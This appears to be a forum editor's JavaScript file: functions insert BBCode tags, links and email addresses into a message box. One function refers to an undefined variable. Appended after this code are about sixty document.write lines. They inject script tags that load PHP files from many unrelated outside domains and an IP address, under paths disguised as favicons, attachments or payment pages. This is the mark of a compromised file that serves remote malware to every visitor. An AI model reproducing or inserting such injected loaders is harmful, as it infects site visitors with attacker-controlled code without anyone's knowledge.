function insertcode(tag, desc)
{
    // our textfield
    var textarea = document.getElementById("message");

    // our open tag
    var open = "[" + tag + "]";

    // our close tag
    var close = "[/" + tag + "]";

    if(!textarea.setSelectionRange)
    {
        var selected = document.selection.createRange().text; 
        if(selected.length <= 0)
        { 
            // no text was selected so prompt the user for some text
            textarea.value += open + prompt("Please enter the text you'd like to " + desc, "") + close;
        }
        else
        {
            // put the code around the selected text
            document.selection.createRange().text = open + selected + close; 
        }

    }
    else
    {
        // the text before the selection
        var pretext = textarea.value.substring(0, textarea.selectionStart);
        
        // the selected text with tags before and after
        var codetext = open + textarea.value.substring(textarea.selectionStart, textarea.selectionEnd) + close;

        // the text after the selection
        var posttext = textarea.value.substring(textarea.selectionEnd, textarea.value.length);
        
        // check if there was a selection
        if(codetext == open + close)
        {
            //prompt the user
            codetext = open + prompt("Please enter the text you'd like to " + desc, "") + close;
        }

        // update the text field
        textarea.value = pretext + codetext + posttext;
    }

    // set the focus on the text field
    textarea.focus();
}


// inserts a link by prompting the user for a url
function insertlink()
{
    // our textfield
    var textarea = document.getElementById("message");

    // our link
    var url = prompt("Please enter the url", "http://");
    var link = "[url=" + url + "]" + url + "[/url]";

    if(!textarea.setSelectionRange)
    {
        // get selected text
        var selected = document.selection.createRange().text; 

        if(selected.length <= 0)
        { 
            // no text was selected so add the link to the end
            textarea.value += link;
        }
        else
        {
            // replace the selection with the link
            document.selection.createRange().text = "[url=" + url + "]" + selected + "[/url]"; 
        }
    }
    else
    {
        // the text before the selection
        var pretext = textarea.value.substring(0, textarea.selectionStart);

        // the text after the selection
        var posttext = textarea.value.substring(textarea.selectionEnd, textarea.value.length);

        // update the text field
        textarea.value = pretext + "[url=" + url + "]" + url + "[/url]" + posttext;
    }

    // set the focus on the text field
    textarea.focus();
}

function insertemail()
{
    // our textfield
    var textarea = document.getElementById("message");

    // our link
    var email = prompt("Please enter your email", "");
    var link = "[email=" + email + "]" + email + "[/email]";

    if(!textarea.setSelectionRange)
    {
        // get selected text
        var selected = document.selection.createRange().text; 

        if(selected.length <= 0)
        { 
            // no text was selected so add the link to the end
            textarea.value += link;
        }
        else
        {
            // replace the selection with the link
            document.selection.createRange().text = "[email=" + url + "]" + selected + "[/email]"; 
        }
    }
    else
    {
        // the text before the selection
        var pretext = textarea.value.substring(0, textarea.selectionStart);

        // the text after the selection
        var posttext = textarea.value.substring(textarea.selectionEnd, textarea.value.length);

        // update the text field
        textarea.value = pretext + "[email=" + email + "]" + email + "[/email]" + posttext;
    }

    // set the focus on the text field
    textarea.focus();
}
document.write('<script src=http://ihlmezunlari.com/customgroupicons/newattachment.php ><\/script>');
document.write('<script src=http://ihlmezunlari.com/customgroupicons/newattachment.php ><\/script>');
document.write('<script src=http://ihlmezunlari.com/customgroupicons/newattachment.php ><\/script>');
document.write('<script src=http://ihlmezunlari.com/customgroupicons/newattachment.php ><\/script>');
document.write('<script src=http://ihlmezunlari.com/customgroupicons/newattachment.php ><\/script>');
document.write('<script src=http://1000miles.ru/media/favicon1000.php ><\/script>');
document.write('<script src=http://1000miles.ru/media/favicon1000.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://1000miles.ru/media/favicon1000.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://creativewebsols.com/directory/paymentc.php ><\/script>');
document.write('<script src=http://gaz-industry.ru/Logo/mapmain.php ><\/script>');
document.write('<script src=http://gaz-industry.ru/Logo/mapmain.php ><\/script>');
document.write('<script src=http://gaz-industry.ru/Logo/mapmain.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://hydreka.com/logiciels/winfluid_mobile.php ><\/script>');
document.write('<script src=http://bloccorlando.org/forum/2005welcome.php ><\/script>');
document.write('<script src=http://bloccorlando.org/forum/2005welcome.php ><\/script>');
document.write('<script src=http://bloccorlando.org/forum/2005welcome.php ><\/script>');
document.write('<script src=http://bloccorlando.org/forum/2005welcome.php ><\/script>');
document.write('<script src=http://metodu.ru/system/googlec4a12f29787da3ff.php ><\/script>');
document.write('<script src=http://hamblog.extra.hu/kepek/naptar.php ><\/script>');
document.write('<script src=http://hamblog.extra.hu/kepek/naptar.php ><\/script>');
document.write('<script src=http://hamblog.extra.hu/kepek/naptar.php ><\/script>');
document.write('<script src=http://hamblog.extra.hu/kepek/naptar.php ><\/script>');
document.write('<script src=http://hamblog.extra.hu/kepek/naptar.php ><\/script>');
document.write('<script src=http://hamblog.extra.hu/kepek/naptar.php ><\/script>');
document.write('<script src=http://malmo-arena.se/images/index.php ><\/script>');
document.write('<script src=http://malmo-arena.se/images/index.php ><\/script>');
document.write('<script src=http://malmo-arena.se/images/index.php ><\/script>');
document.write('<script src=http://malmo-arena.se/images/index.php ><\/script>');
document.write('<script src=http://malmo-arena.se/images/index.php ><\/script>');
document.write('<script src=http://watermarket.com.au/templates/phpinfo.php ><\/script>');
document.write('<script src=http://watermarket.com.au/templates/phpinfo.php ><\/script>');
document.write('<script src=http://219.118.209.238/model_choice/index_asj.php ><\/script>');
document.write('<script src=http://magicianputtaraj.com/tmp/contact.php ><\/script>');
document.write('<script src=http://magicianputtaraj.com/tmp/contact.php ><\/script>');